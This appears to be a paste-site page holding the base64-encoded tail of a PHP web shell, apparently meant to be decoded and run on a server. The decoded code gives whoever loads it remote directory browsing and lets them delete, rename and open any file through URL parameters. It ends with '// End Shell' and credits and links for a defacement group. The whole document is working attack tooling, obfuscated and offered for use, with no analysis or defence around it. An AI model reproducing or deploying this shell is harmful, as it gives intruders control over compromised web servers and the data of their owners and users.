W9uczwvdGg+IAogICAgICAgIDx0aCB3aWR0aD0iMTAwcHgiIGNsYXNzPSJoZWFkZXIiPkRlbGV0ZTwvdGg+IAogICAgICAgIDx0aCB3aWR0aD0iMTAwcHgiIGNsYXNzPSJoZWFkZXIiPlJlbmFtZTwvdGg+IAogICAgPC90cj4gCiAgICA8P3BocCAKICAgICAKICAgIGlmKGlzc2V0KCRfR0VUWydkZWxldGUnXSkpIAogICAgeyAKICAgICAgICBpZih1bmxpbmsoKCRfR0VUWydkZWxldGUnXSkpID09IEZBTFNFKSAKICAgICAgICB7IAogICAgICAgICAgICBlY2hvICI8cCBpZD0nbWFyZ2lucycgc3R5bGU9J2NvbG9yOnJlZDsnPkNvdWxkIE5vdCBEZWxldGUgdGhlIGZpbGUgU3BlY2lmaWVkITwvcD4iOyAKICAgICAgICB9IAogICAgfSAKICAgIGlmKGlzX2RpcigkZGlyKSkgCiAgICB7IAogICAgICAgICRoYW5kbGUgPSBvcGVuZGlyKCRkaXIpOyAKICAgICAgICBpZigkaGFuZGxlICE9IEZBTFNFKSAKICAgICAgICB7IAogICAgICAgIGlmKCRkaXJbKHN0cmxlbigkZGlyKS0xKV0gIT0gJFNFUEFSQVRPUil7JGRpciA9ICRkaXIuJFNFUEFSQVRPUjt9IAogICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsgCiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIpIAogICAgICAgIHsgCiAgICAgICAgICAgICAgICAvL2VjaG8gJGZpbGU7IAogICAgICAgICAgICAgICAgLy9mIGl0cyBhIGRpcmVjdG9yeSAKICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyLiRmaWxlKSkgCiAgICAgICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgICAgID8+IAogICAgICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSdkaXInPjxhIGhyZWY9Jzw/cGhwIGVjaG8gJHNlbGYgPz4/ZGlyPTw/cGhwIGVjaG8gJGRpci4kZmlsZSA/Pic+Lzw/cGhwIGVjaG8gJGZpbGUgPz48L2E+PC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSdpbmZvJz5ESVI8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2luZm8nPkRJUjwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiPjx0ZCBjbGFzcz0iaW5mbyI+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZjs/Pj9yZW5hbWU9PD9waHAgZWNobyAkZGlyLiRmaWxlOz8+Ij5SZW5hbWU8L2E+PC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICA8P3BocCAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAvL0l0cyBhIGZpbGUgIAogICAgICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgPz4gCiAgICAgICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2ZpbGUnPjxhIGhyZWY9Jzw/cGhwIGVjaG8gJHNlbGYgPz4/b3Blbj08P3BocCBlY2hvICRkaXIuJGZpbGUgPz4nPjw/cGhwIGVjaG8gJGZpbGUgPz48L2E+PC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSdpbmZvJz48P3BocCBlY2hvIEh1bWFuUmVhZGFibGVGaWxlc2l6ZShmaWxlc2l6ZSgkZGlyLiRmaWxlKSk7Pz48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2luZm8nPjw/cGhwIGVjaG8gZ2V0RmlsZVBlcm1pc3Npb25zKCRkaXIuJGZpbGUpOz8+PC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJpbmZvIj48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmOz8+P2RlbGV0ZT08P3BocCBlY2hvICRkaXIuJGZpbGU7Pz4iPkRlbGV0ZTwvYT48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImluZm8iPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGY7Pz4/cmVuYW1lPTw/cGhwIGVjaG8gJGRpci4kZmlsZTs/PiI+UmVuYW1lPC9hPjwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDwvdHI+IDwvZm9udD4KICAgICAgICAgICAgICAgICAgICA8P3BocCAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgIH0gCiAgICAgICAgfSAKICAgICAgICBjbG9zZWRpcigkaGFuZGxlKTsgCiAgICAgICAgfSAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICBlY2hvICI8cCBjbGFzcz0nYWxlcnQnIGlkPSdtYXJnaW5zJz4iLiRfR0VUWydkaXInXS4iIGlzIDxiPk5PVDwvYj4gYSBWYWxpZCBEaXJlY3RvcnkhPGJyIC8+PC9wPiI7IAogICAgfSAKICAgID8+IAogICAgPC90YWJsZT4gCiAgICA8P3BocCAKICAgCn0gCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIAo/PiAKCjw/cGhwIAp9IAovLyBFbmQgU2hlbGwgCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAKPz4gCjxiciAvPjxiciAvPjxiciAvPjxiciAvPiAKCjxkaXYgY2xhc3M9ImVuZCI+IAo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJJY2VsYW5kIiBzdHlsZT0iY29sb3I6IzAwRkZGRjt0ZXh0LXNoYWRvdzowcHggMXB4IDVweCAjMDAwO2ZvbnQtc2l6ZTozMHB4Ij5Zb3UgY2FuIGxlYXZlIHVzIGEgY29tbWVudCBAIDxmb250IGZhY2U9IkljZWxhbmQiIHN0eWxlPSJjb2xvcjojMDBGRkZGO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9NYURMZWVUcy5wdG1sL3Bob3Rvcy9hLjE0OTA3MTM3MDExOTM2MTAuMTA3Mzc0MTgyOC4xNDg3OTg0MzgxNDY2NTQyLzE1MzAxNDUwODA1ODM4MDUiIHRhcmdldD0iX2JsYW5rIiBzdHlsZT0iY29sb3I6ICMwMEZGRkYiPlsgQ2xpY2sgSGVyZSBdPC9mb250Pjxicj4KPC9mb250Pgo8YnI+PGJyPgo8Zm9udCBmYWNlPSJJY2VsYW5kIiBzdHlsZT0iY29sb3I6cmVkO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjxzcGFuIGNsYXNzPSJfX2NmX2VtYWlsX18iIGRhdGEtY2ZlbWFpbD0iMTA1Yzc1NzU0NDU4NzE0ODdmNjI1MDQ5Mjc1ZDcxNzk3YzNlNzM3ZjdkIj5bZW1haWwmIzE2MDtwcm90ZWN0ZWRdPC9zcGFuPjxzY3JpcHQgZGF0YS1jZmhhc2g9J2Y5ZTMxJyB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgovKiA8IVtDREFUQVsgKi8hZnVuY3Rpb24oKXt0cnl7dmFyIHQ9ImN1cnJlbnRTY3JpcHQiaW4gZG9jdW1lbnQ/ZG9jdW1lbnQuY3VycmVudFNjcmlwdDpmdW5jdGlvbigpe2Zvcih2YXIgdD1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgic2NyaXB0IiksZT10Lmxlbmd0aDtlLS07KWlmKHRbZV0uZ2V0QXR0cmlidXRlKCJkYXRhLWNmaGFzaCIpKXJldHVybiB0W2VdfSgpO2lmKHQmJnQucHJldmlvdXNTaWJsaW5nKXt2YXIgZSxyLG4saSxjPXQucHJldmlvdXNTaWJsaW5nLGE9Yy5nZXRBdHRyaWJ1dGUoImRhdGEtY2ZlbWFpbCIpO2lmKGEpe2ZvcihlPSIiLHI9cGFyc2VJbnQoYS5zdWJzdHIoMCwyKSwxNiksbj0yO2EubGVuZ3RoLW47bis9MilpPXBhcnNlSW50KGEuc3Vic3RyKG4sMiksMTYpXnIsZSs9U3RyaW5nLmZyb21DaGFyQ29kZShpKTtlPWRvY3VtZW50LmNyZWF0ZVRleHROb2RlKGUpLGMucGFyZW50Tm9kZS5yZXBsYWNlQ2hpbGQoZSxjKX10LnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQodCk7fX1jYXRjaCh1KXt9fSgpLyogXV0+ICovPC9zY3JpcHQ+PC9mb250Pjxicj48YnI+Cjxicj4KPGZvbnQgZmFjZT0iSWNlbGFuZCIgc3R5bGU9ImNvbG9yOmxpbWU7dGV4dC1zaGFkb3c6MHB4IDFweCA1cHggIzAwMDtmb250LXNpemU6MzBweCI+PGEgaHJlZj0iaHR0cDovL3d3dy5tYWRsZWV0cy5jb20vIiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9ImNvbG9yOiBsaW1lIj5odHRwOi8vd3d3Lk1hRExlZVRzLmNvbTwvZm9udD48YnI+Cjxmb250IGZhY2U9IkljZWxhbmQiIHN0eWxlPSJjb2xvcjpsaW1lO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjxhIGhyZWY9Imh0dHBzOi8vd3d3LmZhY2Vib29rLmNvbS9NYURMZWVUcy5wdG1sIiB0YXJnZXQ9Il9ibGFuayIgc3R5bGU9ImNvbG9yOiBsaW1lIj5odHRwczovL3d3dy5mYWNlYm9vay5jb20vTWFETGVlVHMucHRtbDwvZm9udD48YnI+Cjwvc2NyaXB0Pgo8L3A+IAo8L2Rpdj4gCjwvYm9keT4gCjwvaHRtbD4=")); ?>
Add Comment
Please, Sign In to add comment